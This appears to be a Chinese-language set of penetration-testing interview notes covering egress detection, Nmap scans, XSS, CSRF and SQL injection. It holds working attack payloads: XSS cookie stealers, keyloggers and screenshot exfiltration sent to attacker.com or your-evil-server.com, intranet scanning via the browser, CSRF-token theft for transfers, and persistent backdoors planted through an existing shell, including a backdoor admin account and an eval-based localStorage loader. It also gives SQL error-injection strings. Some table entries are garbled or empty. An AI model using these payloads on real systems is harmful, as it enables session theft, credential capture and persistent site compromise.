  1. 发出请求:当你在一台域成员机器上执行 net group "Domain Admins" /domain 命令时,你的电脑会向配置的域控制器发送一个网络请求。这个请求是一个基于 LDAP(Lightweight Directory Access Protocol,轻量级目录访问协议)的查询,它包含了你想要查询的对象,也就是 "Domain Admins" 这个组
  2. 验证身份:域控制器会首先验证你的身份。它会检查你当前所使用的账户(无论是用户账户还是机器账户)是否是域的一部分,并且是否有权限查询这个组的信息。如果你的账户是域用户,它通常就有权限执行这个查询
  3. Active Directory 数据库查询:验证通过后,域控制器会在它的 Active Directory 数据库中查找名为 "Domain Admins" 的安全组对象。Active Directory 是一个分层数据库,用于存储域内所有对象(用户、组、计算机等)的信息
  4. 返回结果:找到这个组后,域控制器会从该组的属性中提取出所有**成员(members)**的信息,然后将这些信息打包成一个响应,返回给你的电脑。你的电脑随后会解析这个响应,并在命令行中显示出组成员的列表

如何判断目标单位的机器是哪种协议出网

1. 自动化扫描与端口探测

这是最直接且高效的方法

  • 使用自动化工具:利用 Nmapport-scan 这类工具,对目标内网机器或出网网段进行扫描
  • 常用端口与协议
    • HTTP/HTTPS(80/443):这是最常见的出网协议。几乎所有企业都必须开放这两个端口以供员工浏览网页。这是一个非常好的 C2 通道选择
    • DNS(53):如果 DNS 请求能够出网,那么你可以利用 DNS 隧道技术。这种方法非常隐蔽,因为 DNS 流量通常被认为是无害的
    • SMTP/SMTPS(25/465/587):如果企业允许员工收发邮件,那么这些端口很可能出网
    • FTP/FTPS(20/21):不常见,但如果开放了,也是一个很好的出网通道
    • SSH(22):如果目标允许员工通过 SSH 远程访问服务器,那么这个端口很可能出网
  • 优点:快速、自动化,能提供初步的端口开放信息
  • 缺点:不一定能确定协议能否出网,因为端口开放可能只是用于内部服务

2. 手动测试与验证

自动化扫描后,你需要手动验证协议是否真的能出网

  • 使用命令行工具

    • ping:测试 ICMP 协议是否出网
    • telnetnc (netcat):测试 TCP 协议。例如,telnet www.baidu.com 443nc -vz www.baidu.com 443。如果连接成功,说明 443 端口出网
  • 利用编程语言

    • Python:编写一个简单的 Python 脚本,尝试通过不同的协议向你的服务器发送请求

      1
      2
      3
      4
      5
      6
      7
      8
      9
      import socket
      try:
      s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
      s.settimeout(5)
      s.connect(('your_server_ip', 443))
      print("Port 443 is open")
      s.close()
      except Exception as e:
      print(f"Port 443 is closed: {e}")
  • 优点:能精确验证某个端口是否出网,并能获得更详细的错误信息

3. 基于 DNS 查询的隐蔽测试

如果你无法通过常见的协议出网,DNS 是一个非常隐蔽的测试方法

  • 原理:即使防火墙非常严格,也必须允许 DNS 流量出网,否则员工将无法正常上网。你可以利用这个特性,通过 DNS 查询来判断出网情况
  • 操作步骤
    1. 在你的攻击服务器上,搭建一个 DNS 服务器,并配置一个域名,例如 test.com
    2. 在目标机器上,执行一个 DNS 查询命令,例如 nslookup <随机字符串>.test.com
    3. 回到你的 DNS 服务器,如果收到了这个 DNS 查询请求,就说明 DNS 协议出网。你甚至可以从 DNS 请求的源 IP 地址,判断是哪台机器发出的请求
  • 优点:高度隐蔽,能绕过许多严格的防火墙规则

4. 利用现有权限进行系统配置分析

如果你已经通过其他漏洞(如钓鱼、弱口令等)获得了某台机器的权限,那么判断出网协议就变得更加容易

  • 检查防火墙规则
    • Windowsnetsh advfirewall firewall show rule name=allGet-NetFirewallRule。这能直接告诉你哪些端口是出网的
  • 检查代理服务器
    • Windowsnetsh winhttp show proxy 或检查浏览器的代理设置。许多公司要求所有出网流量必须通过一个代理服务器。在这种情况下,你需要配置你的 C2 通道去使用这个代理
  • 检查应用程序日志
    • 查看 Web 服务器、代理服务器或防火墙的日志。这些日志文件会记录所有出入流量,是判断出网协议的最佳来源

NSE 脚本原理

1. NSE 脚本的运行机制

NSE 的核心是一个脚本解释器,它运行用 Lua 语言编写的脚本。Nmap 会在扫描过程中加载并执行这些脚本,以扩展其核心功能。整个运行机制可以概括为以下几个步骤:

  1. 脚本加载:Nmap 在启动时,会根据你的命令行参数(如 -sC--script <脚本名>),加载相应的 NSE 脚本。这些脚本文件通常位于 Nmap 的安装目录下的 scripts 文件夹中
  2. 事件触发:NSE 脚本不会无缘无故地运行。它依赖于一系列的事件触发器(Triggers),这些触发器会在 Nmap 的不同扫描阶段被激活
    • pre-scan:在任何主机扫描开始之前运行。通常用于一些全局性任务,如收集 DNS 信息
    • host-scan:在扫描每个主机时运行。通常用于对单个主机进行枚举或漏洞检测
    • port-scan:在扫描每个端口时运行。这是最常用的触发器,用于针对特定端口的服务进行探测,如 HTTP、FTP、SSH 等
    • post-scan:在所有主机扫描完成后运行。通常用于汇总结果或生成报告
  3. 脚本执行:当一个事件被触发时,Nmap 会调用相应脚本中的**action() 函数**。这个函数包含了脚本要执行的核心逻辑
  4. 结果返回action() 函数执行完毕后,会将结果返回给 Nmap。Nmap 会将这些结果以标准的格式(如 XML、文本等)显示给用户

2. 编写 NSE 脚本的核心结构

一个典型的 NSE 脚本由以下几个关键部分组成:

  1. 脚本描述(description:一个简短的字符串,描述脚本的功能
  2. 分类(categories:脚本的分类,如 safe(安全)、vuln(漏洞)、auth(认证)等。这些分类使得用户可以通过 -sC--script=safe 等参数来批量运行某一类脚本
  3. 依赖关系(dependencies:如果脚本依赖于其他脚本,可以在这里声明
  4. 触发器(hostruleportrule 等):指定脚本在什么条件下运行。例如,portrule 规定了脚本只在发现某个特定端口开放时才运行
    • portrule = "tcp or udp":在所有 TCP 或 UDP 端口上运行
    • portrule = "port:80":只在 80 端口上运行
    • hostrule:在整个主机上运行,不依赖于特定端口
  5. 主函数(action():这是脚本的核心代码,包含了所有业务逻辑。在这个函数中,你可以使用 Nmap 提供的各种库函数(如 http.getnmap.set_port_state 等),来完成网络交互和数据处理

Nmap 的 FIN 扫描和空扫描是什么

1. FIN 扫描 (FIN Scan)

  • 命令nmap -sF <target>
  • 原理
    • FIN 扫描的原理基于 TCP 协议的 RFC 793 规范
    • 攻击者向目标端口发送一个只包含 FIN(Finish)标志位的 TCP 数据包
    • 如果端口是关闭的:根据 TCP 协议规范,目标系统会回复一个带有 RST(Reset)标志位的 TCP 包,表示连接已重置
    • 如果端口是开放的:根据 TCP 协议规范,目标系统会忽略这个包,不回复任何信息
  • 优点
    • 隐蔽性:由于不进行完整的三次握手,许多基本的防火墙和 IDS 都不会记录这种连接尝试,从而使扫描行为更加隐蔽
    • 绕过状态防火墙:一些状态防火墙只跟踪那些以 SYN 包开始的连接。由于 FIN 扫描不使用 SYN 包,因此可以绕过这类防火墙
  • 缺点
    • Windows 兼容性:FIN 扫描在许多非 Windows 系统(如 Linux、BSD)上表现良好,但在 Windows 系统上,即使端口是开放的,它也可能回复一个 RST 包,导致扫描结果不准确。这是因为 Windows 系统的 TCP/IP 栈实现与 RFC 规范略有不同

2. 空扫描 (Null Scan)

  • 命令nmap -sN <target>
  • 原理
    • 空扫描的原理与 FIN 扫描类似,也基于 TCP 协议规范
    • 攻击者向目标端口发送一个没有任何标志位SYN, ACK, FIN, RST 等)的 TCP 数据包
    • 如果端口是关闭的:根据 TCP 协议规范,目标系统会回复一个带有 RST 标志位的 TCP 包
    • 如果端口是开放的:根据 TCP 协议规范,目标系统会忽略这个包,不回复任何信息
  • 优点
    • 极度隐蔽:由于发送的数据包没有任何标志位,空扫描比 FIN 扫描更具隐蔽性,因为数据包看起来像是损坏或无效的,许多 IDS 可能会直接忽略它
  • 缺点
    • Windows 兼容性:与 FIN 扫描一样,空扫描在 Windows 系统上同样表现不佳,即使端口开放,也可能收到 RST 回复,导致误报

3- XSS

输出到 href 属性的 XSS 如何防御

1. 严格的白名单验证

这是最安全、最推荐的防御方法。不要试图去黑名单过滤,因为攻击者总能找到绕过的方法。相反,你应该只允许那些已知安全的协议和域名

  • 只允许安全的协议:只接受 httphttps 协议。所有其他协议,特别是 javascript:data:vbscript: 等,都应该被拒绝
  • 示例
    • 安全https://www.example.com
    • 不安全javascript:alert(1)

实现方式: 在后端代码中,你可以使用正则表达式或内置的 URL 解析函数来检查协议。例如,在 PHP 中可以这样做:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
function is_safe_url($url) {
$parsed_url = parse_url($url);
if (!isset($parsed_url['scheme'])) {
// 如果没有协议头,可能是相对路径,视为安全
return true;
}
// 只允许 http 或 https 协议
return in_array($parsed_url['scheme'], ['http', 'https']);
}

$user_input_url = $_GET['url'];
if (is_safe_url($user_input_url)) {
// URL 安全,进行输出
echo '<a href="' . htmlspecialchars($user_input_url) . '">Click Here</a>';
} else {
// URL 不安全,拒绝或使用默认值
echo '<a href="/default-page">Click Here</a>';
}

2. 对所有 URL 进行 HTML 实体编码

这是防御 XSS 的基本操作,但它不足以防御 href XSS。你仍然需要执行它,因为它能防止其他类型的 XSS 攻击htmlspecialchars()htmlentities()可以将<>“` 等特殊字符转换为实体,防止它们被解释为 HTML 标签

  • 正确做法:将 URL 进行白名单验证后,再进行 HTML 实体编码

    • 示例

      1
      2
      $safe_url = "https://example.com/page?param=<script>alert(1)</script>";
      echo '<a href="' . htmlspecialchars($safe_url) . '">Click Here</a>';
    • 结果:浏览器渲染为 <a href="https://example.com/page?param=<script>alert(1)</script>">Click Here</a>。即使 URL 中包含恶意代码,它也不会被执行。但如果 URL 是 javascript:alert(1),单独使用 htmlspecialchars() 是无效的

3. CSP

CSP 是一个强大的安全策略,可以从根本上限制页面可以加载和执行的资源。你可以设置一个 CSP 规则,明确禁止 javascript: 协议的 URI

  • 在 HTTP 响应头中添加Content-Security-Policy: default-src 'self'; script-src 'self' 'unsafe-inline'; object-src 'none';

    这条规则不直接阻止 href 中的 javascript:,但它可以与不安全的内联脚本unsafe-inline)策略结合使用。一个更严格的 CSP 策略可以禁止内联脚本,从而让 javascript: 协议失效

  • 一个更有效的 CSP 规则Content-Security-Policy: default-src 'self'; script-src 'self';

    这条规则禁止了所有内联脚本,包括 javascript: 协议,从而提供了额外的保护层。不过,这可能会对你的网站功能造成影响,需要在部署前进行全面测试


XSS 绕过方式

1. 大小写混淆绕过

许多过滤规则是针对特定大小写模式的,比如 <script>。你可以尝试使用大小写混淆的方式来绕过,例如:

  • <sCrIpT>
  • <ScrIpT>
  • <SCript>

这种方式通常在不区分大小写的环境中有效

2. 空白字符、换行符和 Tab 键绕过

过滤器有时会忽略或者处理不当某些空白字符。你可以尝试在标签、属性名或者属性值之间插入空格、换行符(%0a%0d)或者 Tab 键(%09)来绕过,例如:

  • <img src="javascript:alert(1);"> 可以尝试写成 <img src=" javascript: alert(1); ">
  • <script>alert(1)</script> 可以尝试写成 <script%0a>alert(1)</script>

3. 使用编码绕过

许多过滤器会试图拦截特定字符,比如尖括号 < > 和引号 " '。你可以使用 HTML 实体编码、URL 编码或者其他编码方式来绕过

  • URL 编码:
    • ( 编码为 %28
    • ) 编码为 %29
    • 编码为 %20

4. 标签和属性嵌套绕过

有些过滤器可能只过滤顶层的脚本标签,但忽略嵌套的标签。你可以尝试在标签内部使用其他标签或者属性来注入,例如:

  • <a href="javascript:alert(1)">Click Me</a>
  • <img src="x" onerror="alert(1)">
  • <svg onload=alert(1)>

5. 事件处理器绕过

除了最常见的 onloadonerror 事件,还有很多其他事件可以用来触发脚本,例如:

  • onmouseover
  • onmouseout
  • onclick
  • onfocus
  • onblur
  • onchange

例如:<input onfocus=alert(1) autofocus>

6. 使用特殊字符绕过

一些特殊字符,如反引号(`)、反斜杠(``)等,在特定情况下可以用来绕过过滤。例如,在某些 JavaScript 语法中,反引号可以用来包裹字符串并执行代码


XSS 利用方式

1. 窃取 Cookie 和 Session

这是最常见且危害最大的利用方式之一。通过执行恶意 JavaScript,攻击者可以获取用户的 Cookie,特别是那些用于身份验证的 Session Cookie。一旦获得,攻击者就可以冒充用户身份,无需密码即可登录网站,窃取个人信息、进行非法操作,比如转账或发布恶意内容

恶意代码示例:

1
2
3
<script>
document.location = 'http://attacker.com/cookie_stealer.php?c=' + document.cookie;
</script>

这段代码会将当前页面的所有 Cookie 发送到攻击者的服务器上

2. 键盘记录

攻击者可以植入键盘记录器来捕获用户在当前页面输入的所有信息,包括用户名、密码、信用卡号等敏感数据。这种方式尤其危险,因为用户可能在毫无察觉的情况下泄露重要信息

1
2
3
4
5
6
<script>
document.onkeypress = function(e) {
// 将用户按键信息发送到攻击者服务器
fetch('http://attacker.com/keylogger.php?key=' + e.key);
};
</script>

3. 钓鱼攻击

通过 XSS,攻击者可以篡改网页内容,插入虚假的登录框或提示信息,诱骗用户输入账户和密码。例如,在合法网站的页面上弹出一个伪造的登录框,提示用户“您的会话已过期,请重新登录”。用户以为是正常操作,输入信息后,这些信息就会被发送到攻击者的服务器

4. 网页挂马和恶意重定向

攻击者可以利用 XSS 将用户浏览器重定向到恶意网站,或者在当前页面上加载恶意脚本(例如,加密勒索病毒)

恶意代码示例:

1
2
3
<script>
window.location.href = "http://malicious-site.com";
</script>

或者加载一个恶意脚本:

1
<script src="http://malicious-site.com/malware.js"></script>

5. 绕过同源策略

虽然浏览器的同源策略限制了不同源的脚本互相访问,但在某些特定情况下,XSS 可以作为绕过同源策略的第一步。一旦在目标域上执行了脚本,攻击者就可以访问该域下的敏感数据,比如通过 AJAX 请求获取用户的私人信息

6. 盗用 CSRF Token

许多网站使用 CSRF Token 来防御跨站请求伪造攻击。但如果存在 XSS 漏洞,攻击者可以轻松地通过 JavaScript 获取页面中的 CSRF Token,然后构造一个合法的请求(例如,转账请求),并代表用户提交

恶意代码示例:

1
2
3
4
5
6
7
8
9
10
11
<script>
// 通过 AJAX 请求获取页面内容
fetch('/user/profile').then(response => response.text()).then(html => {
// 从 HTML 中解析 CSRF Token,并构造一个请求
const csrfToken = html.match(/csrf-token" content="(.*?)">/)[1];
fetch('/transfer', {
method: 'POST',
body: `amount=1000&to=attacker&_csrf=${csrfToken}`
});
});
</script>

7. DOM 篡改

攻击者可以修改页面上的 DOM 元素,例如,隐藏或替换页面上的某些内容,或者插入广告、恶意链接等


XSS 怎么打内网

1. 端口扫描

这是最基础也最常见的利用方式。攻击者可以通过 JavaScript 构造请求(如 <img><iframe> 标签),尝试加载内网 IP 地址和端口,并根据加载成功或失败来判断端口是否开放

基本思路:

  • 加载 <img> 标签<img> 标签的 src 属性可以指向内网 IP 和端口。如果图片能够加载成功,就说明该端口是开放的。可以通过 onerroronload 事件来判断加载结果

    示例代码:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    const targetIp = '192.168.1.1';
    const targetPorts = [80, 22, 445, 8080];

    targetPorts.forEach(port => {
    const img = new Image();
    img.onload = () => {
    // 端口开放
    console.log(`Port ${port} on ${targetIp} is open.`);
    // 将结果发送回攻击者服务器
    fetch(`http://attacker.com/log?ip=${targetIp}&port=${port}&status=open`);
    };
    img.onerror = () => {
    // 端口关闭或无法访问
    console.log(`Port ${port} on ${targetIp} is closed.`);
    };
    img.src = `http://${targetIp}:${port}`;
    });
  • 加载 <iframe> 标签<iframe> 标签可以用来加载内网页面。如果加载成功,攻击者可以通过 JavaScript 获取页面的部分内容(但受同源策略限制)

2. 服务指纹识别

通过上一步的端口扫描,攻击者可以确定内网中有哪些服务是开放的。接下来,可以通过 JavaScript 发送 AJAX 请求到这些服务,然后根据响应头(如 ServerX-Powered-By)或页面内容来识别服务的类型和版本

示例代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
const targetUrl = 'http://192.168.1.1:8080';

fetch(targetUrl)
.then(response => {
// 检查响应头,获取服务信息
const serverHeader = response.headers.get('Server');
console.log(`Server on ${targetUrl} is: ${serverHeader}`);
// 将结果发送回攻击者服务器
fetch(`http://attacker.com/log?url=${targetUrl}&server=${serverHeader}`);
})
.catch(error => {
console.error(`Could not connect to ${targetUrl}`);
});

3. 攻击内网路由器或管理后台

许多内网路由器和管理系统都存在默认密码或已知漏洞。攻击者可以利用 XSS 漏洞,在受害者浏览器中构造并发送针对这些设备的请求

示例:利用 CSRF 漏洞修改路由器密码

假设某个路由器修改密码的请求是:POST /admin/password_change,并带上参数 new_password=123456。 攻击者可以通过 JavaScript 构造一个表单并提交,或者直接用 fetch 发送请求

示例代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
// 假设路由器IP是 192.168.1.1,并且修改密码的路径是 /admin/change_password
const routerIp = '192.168.1.1';
const newPassword = 'hacked_by_xss';

const formData = new FormData();
formData.append('password', newPassword);

fetch(`http://${routerIp}/admin/change_password`, {
method: 'POST',
body: formData
}).then(() => {
console.log('Router password changed!');
});

XST 是一种利用 HTTP TRACETRACK 方法的攻击,它在某些特定配置下可以绕过 HttpOnly。当一个网站允许 TRACE 请求时,攻击者可以通过以下步骤进行攻击:

  1. 攻击者诱导受害者点击一个恶意链接或访问一个包含恶意脚本的页面
  2. 恶意脚本向受害者的浏览器发送一个 TRACE 请求
  3. 如果服务器没有正确配置,它可能会在 TRACE 响应中包含所有 HTTP 请求头,包括带有 HttpOnly 标志的 Cookie
  4. 恶意脚本通过 JavaScript 读取 TRACE 响应的内容,从而获取到 Cookie

防御方法: 禁用 HTTP TRACETRACK 方法。现代服务器和框架默认都禁用了这些方法,但老旧的系统或错误配置的环境仍可能存在此漏洞


有 Shell 的情况下如何使用 XSS 实现对目标站的长久控制

1. 利用 XSS 劫持管理员会话

这是最直接也最常见的 XSS 攻击方式,但在这里,我们将其作为持久化控制的跳板

  • 原理: 当管理员访问存在 XSS 漏洞的页面时,我们的恶意 JavaScript 代码会执行,并窃取管理员的 cookiesessionStoragelocalStorage 等会话信息

  • 实现:

    • WebShell 注入: 在您已经获取的 Shell 中,找到一个管理员经常访问的、可写入的文件(例如,网站的公共 JS 文件、后台管理页面模板等)
    • 插入 Payload: 在该文件中插入以下恶意 JavaScript 代码

    JavaScript

    1
    fetch('http://your-evil-server.com/log.php?cookie=' + document.cookie);
    • 获取会话: 当管理员访问该页面时,他们的 cookie 就会被发送到您的服务器 log.php。您可以用这些 cookie 伪造会话,从而以管理员身份登录后台
    • 持久化: 只要您能以管理员身份登录,就可以通过后台修改网站配置,上传新的 WebShell,或者进行其他持久化操作

这种方法的优点是简单直接,但缺点是如果管理员退出登录或会话过期,您需要重新等待下一次捕获

2. 利用 XSS 注入后台管理页面后门

这种方法更具隐蔽性和持久性,它旨在直接在后台管理系统中创建可控的“后门”

  • 原理: 很多后台管理系统都允许管理员自定义页面内容、插入自定义代码或编辑模板。我们可以利用 XSS,在管理员的浏览器中执行 JavaScript 代码,悄悄地修改这些配置
  • 实现:
    • 自动化操作: 编写一个 JavaScript 脚本,该脚本可以模拟管理员的点击、表单填写和提交操作
    • 创建新用户: 脚本可以模拟点击“添加用户”按钮,填写一个新的管理员账户信息(例如,用户名:backdoor,密码:P@ssw0rd),然后点击“保存”
    • 修改配置文件: 脚本还可以模拟打开“系统设置”页面,修改网站的配置,例如允许文件上传、关闭安全限制等
    • 注入 Payload: 将这些自动化操作的 JavaScript 代码注入到存在 XSS 的页面。当管理员访问时,脚本会在后台静默执行,完成上述操作

这种方法的优点是,即使管理员会话过期,我们创建的后门用户依然存在,可以随时用于登录

3. 利用 XSS 劫持 WebSocket 连接

如果目标网站使用了 WebSocket 来进行实时通信,这也是一个非常高明的攻击点

  • 原理: WebSocket 是一种在客户端和服务器之间建立持久连接的协议。我们可以利用 XSS,劫持 WebSocket 连接,向服务器发送恶意指令

  • 实现:

    • 注入 WebSocket 劫持代码:

    JavaScript

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    // 假设原始 WebSocket 连接
    var ws = new WebSocket("wss://target.com/websocket");
    // 劫持
    ws.onmessage = function(event) {
    // 在这里可以拦截或修改 WebSocket 消息
    console.log("Received message from server: " + event.data);
    };
    // 发送恶意指令
    ws.onopen = function() {
    // 假设服务器允许通过 WebSocket 发送命令
    ws.send(JSON.stringify({ "command": "upload_shell", "path": "/uploads/backdoor.php" }));
    };
    • 持久化: 通过劫持 WebSocket,我们可以向服务器发送管理员级别的指令,例如要求服务器上传一个新文件(我们的 WebShell)、执行系统命令、或修改数据库记录

这种方法需要对目标网站的 WebSocket 协议有深入了解,但其威力巨大,可以实现几乎实时的控制

4. 利用 XSS 注入浏览器的持久化存储

  • 原理: 浏览器中的 localStoragesessionStorage 允许网页存储数据。我们可以利用 XSS,将我们的恶意代码或配置存储在这些地方,从而实现持久化

  • 实现:

    • 注入 Payload:

    JavaScript

    1
    2
    3
    // 将恶意代码或配置存储到 localStorage
    localStorage.setItem('malicious_flag', 'true');
    localStorage.setItem('shell_url', 'http://your-evil-server.com/shell.php');
    • 持久化: 当管理员再次访问该页面时,我们可以检查 localStorage 中的标志,如果存在,则执行后续的恶意操作(例如,加载远程 JS 文件)

5. 键盘记录

  • 原理: 键盘记录器利用 JavaScript 监听 DOM 事件,例如 keydownkeypress,当管理员在后台页面输入账号、密码或其他敏感信息时,脚本会捕获这些按键事件,并将输入的数据发送到攻击者的服务器

  • 实现:

    1. 注入 Payload: 在您已经拥有 Shell 的前提下,找到一个管理员经常访问的、可写入的 JS 文件。在该文件中注入以下 JavaScript 代码:
    1
    2
    3
    4
    5
    6
    // 恶意键盘记录脚本
    document.addEventListener('keydown', function(event) {
    var key = event.key;
    // 将按键数据发送到你的服务器
    fetch('http://your-evil-server.com/log.php?key=' + encodeURIComponent(key));
    });
    1. 实时数据捕获: 当管理员在后台登录表单中输入用户名和密码时,每个按键都会被记录下来,并通过 fetch 请求发送到您的服务器
    2. 持久化: 这种方法非常隐蔽,因为脚本在后台静默运行。一旦管理员登录,您不仅能获取他们的账号密码,还能实时监控他们在后台进行的任何操作,例如修改文章、上传文件等

6. 浏览器屏幕截图

  • 原理: 利用 HTML5 的 CanvastoDataURL() 方法,我们可以截取 DOM 元素(例如整个页面)的内容,将其转换为图片数据,并发送给攻击者

  • 实现:

    1. 注入 Payload: 在可写入的 JS 文件中注入以下代码:
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    // 定时截图并发送
    setInterval(function() {
    html2canvas(document.body).then(function(canvas) {
    // 将 canvas 内容转换为 base64 格式
    var imageData = canvas.toDataURL("image/png");
    // 将图片数据发送到你的服务器
    fetch('http://your-evil-server.com/screenshot.php', {
    method: 'POST',
    body: JSON.stringify({ image: imageData })
    });
    });
    }, 5000); // 每隔5秒截图一次
    1. 依赖库: 需要注意的是,这个方法通常依赖第三方库,例如 html2canvas.js。您需要将该库的 JS 文件也注入到目标网站中
    2. 实时监控: 这种方法可以直观地看到管理员在后台的操作界面,包括他们正在编辑的内容、正在上传的文件等,为您的后续攻击提供丰富的上下文信息。

7. 利用 XSS 注入持久化 localStorage 后门

这是一种更具隐蔽性的持久化方法,它不依赖于修改网站文件,而是利用浏览器的本地存储功能

  • 原理: 利用 localStorage 将恶意代码片段持久化存储在管理员的浏览器中

  • 实现:

    1. 一次性注入: 找到一个XSS漏洞点(例如,一个输入框)。输入以下Payload:
    1
    2
    3
    <script>
    localStorage.setItem('backdoor', 'your_malicious_javascript_code');
    </script>
    1. 主页面加载器: 然后在网站的主 JS 文件中,注入一个检查 localStorage 的代码:
    1
    2
    3
    4
    5
    // 检查是否存在后门代码
    var backdoorCode = localStorage.getItem('backdoor');
    if (backdoorCode) {
    eval(backdoorCode); // 执行后门代码
    }
    1. 持久化: 只要管理员不清空浏览器缓存,即使您修改的输入框被清理了,后门代码依然会存在于 localStorage 中,并在每次页面加载时被执行

4- CSRF系列

SameSite 防御 CSRF 的原理

1. SameSite=Strict

这是最严格的模式。它规定:只有当请求是同站发出的,浏览器才会发送 Cookie

  • 同站请求:比如你在 bank.com 内部点击一个链接,请求 bank.com/profile,浏览器会发送 Cookie
  • 跨站请求:当你在 evil.com 上,通过任何方式(表单提交、<img> 标签、<a> 链接)向 bank.com 发起请求时,浏览器都不会发送 Cookie

防御效果Strict 模式可以完全防御 CSRF 攻击,因为恶意请求无法携带会话 Cookie

缺点:过于严格,可能会影响用户体验。例如,如果你从其他网站(如社交媒体或搜索引擎)点击一个链接跳转到 bank.com,因为这是跨站导航,Strict 模式下的 Cookie 也不会被发送,你可能需要重新登录

2. SameSite=Lax

这是折中且更常用的模式。它在 Strict 的基础上做了一些放宽:

  • 同站请求:会发送 Cookie
  • 跨站导航:当通过 <a href="..." 链接进行 GET 请求导航时,会发送 Cookie
  • 其他跨站请求:通过 POST 表单、<img> 标签、<iframe>、AJAX 等方式发起的请求,不会发送 Cookie

防御效果Lax 模式可以防御大部分 CSRF 攻击,特别是那些利用 POST 表单进行的攻击。同时,它允许用户从外部网站通过链接跳转到你的网站,而不会强制重新登录,改善了用户体验

现代浏览器默认行为:目前,大多数现代浏览器(如 Chrome)已经将 SameSite 的默认值设置为 Lax,即使你在服务器端没有明确设置

3. SameSite=None

这是最宽松的模式。它规定:在任何情况下都发送 Cookie,包括跨站请求

防御效果:不提供任何 CSRF 防御

使用场景:通常用于需要跨站发送 Cookie 的场景,例如:

  • OAuth 认证(需要从第三方登录页面返回你的网站并携带 Cookie)
  • 第三方嵌入服务,如嵌入式评论或广告
  • 在这种模式下,为了安全,必须同时设置 Secure 属性,即 SameSite=None; Secure,要求 Cookie 只能通过 HTTPS 发送

JSON 格式的 CSRF 如何防御

1. 使用 CSRF Token

这是最常见和最可靠的防御方法

  • 工作原理

    1. 服务器在用户登录后,生成一个随机、唯一的 CSRF Token,并将其存储在会话中某个安全的地方(如 sessionStorage
    2. 服务器将 Token 发送给客户端
    3. 客户端在发起任何敏感操作的请求时,都必须将这个 Token 放在HTTP 请求头POST 请求体
    4. 服务器接收到请求后,会验证请求中的 Token 是否与服务器上存储的 Token 相匹配。如果不匹配,则拒绝请求
  • 在 JSON 请求中的实践: 客户端的 JavaScript 代码在发起 POST 请求时,将 Token 放在一个自定义的 HTTP 头中,例如 X-CSRF-TOKEN

    1
    2
    3
    4
    5
    6
    7
    8
    fetch('https://your-api.com/transfer', {
    method: 'POST',
    body: JSON.stringify({ to: 'attacker', amount: 1000 }),
    headers: {
    'Content-Type': 'application/json',
    'X-CSRF-TOKEN': 'your-generated-token'
    }
    });

    防御原理:攻击者无法从 your-api.com 域获取有效的 CSRF Token。由于同源策略的限制,恶意网站的 JavaScript 无法读取你的 API 返回的 HTML 或 JSON 数据,因此无法获取 CSRF Token。此外,即使是简单请求,自定义的 HTTP 头也会触发预检请求,同样会被 CORS 机制拦截

2. 使用 SameSite Cookie

前面我们讨论过 SameSite 属性。在 JSON API 的场景中,SameSite=Lax 同样是有效的防御

  • 工作原理: 将你的会话 Cookie 的 SameSite 属性设置为 LaxStrict。当攻击者从恶意网站发起 POST 请求时,浏览器不会携带这个会话 Cookie。服务器在验证请求时,因为没有会话信息,会直接拒绝请求

    1
    Set-Cookie: sessionid=xxxx; SameSite=Lax; Secure; HttpOnly
  • 最佳实践

    • SameSite=Strict:提供了最强的防御,但可能影响用户体验
    • SameSite=Lax:在大多数情况下提供了足够的保护,同时不影响用户从其他网站通过 GET 链接跳转到你的网站

3. 验证 Referer 或 Origin 头

这种方法是辅助性的,但可以提供额外的安全层

  • 工作原理: 服务器检查请求头中的 RefererOrigin 字段,验证请求的来源是否为你的合法域名
    • Referer:表示发起请求的 URL
    • Origin:表示请求的来源域,通常用于 CORS 预检请求中
  • 局限性
    • Referer 字段可以被一些浏览器或代理软件修改或删除
    • 这不是一个完全可靠的防御方法,应作为辅助手段而非主要策略

Ajax 发送 POST 请求会发几个数据包

AJAX 发送一个 POST 请求,通常会发送一个数据包

这个数据包里包含了所有 POST 请求所需的信息,比如请求头(Headers)、请求体(Body)等。请求头里会指定 Content-Type 为 application/x-www-form-urlencodedapplication/json 等,告诉服务器数据格式。请求体里则携带了实际要发送的数据。

特殊情况:OPTIONS 预检请求

不过,在某些跨域(CORS)场景下,浏览器在正式发送 POST 请求之前,会先发送一个 OPTIONS 请求,这个 OPTIONS 请求被称为“预检请求”(Preflight Request)

所以,如果满足以下任一条件,浏览器就会先发一个 OPTIONS 预检请求,然后再发 POST 请求:

  • 使用了自定义请求头(如 X-Requested-With
  • Content-Type 不属于 application/x-www-form-urlencodedmultipart/form-datatext/plain。比如,使用了 application/json
  • 请求方法为 PUT、DELETE 等,或 POST 请求与服务器的 API 路径不同

这个 OPTIONS 请求的目的是询问服务器是否允许当前域名、请求方法、自定义请求头等进行跨域操作。如果服务器返回的响应头里包含了允许的信息(如 Access-Control-Allow-Origin),浏览器才会继续发送实际的 POST 请求


5- SQL注入系列

SQL 报错注入函数有哪些

MySQL

函数/方法 利用原理 举例
updatexml() 修改 XML 文档,不合法的 XPath 路径会报错并显示内容 … AND updatexml(1,concat(0x7e, (SELECT database()), 0x7e),1)
extractvalue() 从 XML 字符串提取值,不合法的 XPath 路径会报错并显示内容 … AND extractvalue(1, concat(0x7e, (SELECT user())))
floor() 结合 GROUP BY 和 rand(),制造重复键错误,将数据作为键值显示 … AND (SELECT 1 FROM (SELECT count(), concat(database(),floor(rand(0)2))x FROM information_schema.tables GROUP BY x)a)
name_const() 用于创建一个带名称的匿名列。当在子查询中,我们使用 NAME_CONST() 将查询结果作为列名,并且这个列名在子查询中已经存在时,就会引发一个“重复列名”的错误,并将查询结果显示出来 AND (SELECT 1 FROM (SELECT count(), concat(database(),floor(rand(0)2))x FROM information_schema.tables GROUP BY x)a)
exp() 我们可以通过 ~ 按位取反操作,将一个大的负数转换成一个巨大的正数,从而触发溢出 AND (exp(~(SELECT * FROM (SELECT database())x)))

SQL Server

函数/方法 利用原理 举例
convert() / cast() 强制类型转换,将非数字字符串转换为整型会报错并显示字符串内容 … AND 1=convert(int,(SELECT db_name()))

PostgreSQL

函数/方法 利用原理 举例
cast() 强制类型转换,将字符串转换为不兼容的数据类型时报错 … AND 1=CAST((SELECT version()) as int)

Oracle

函数/方法 利用原理 举例
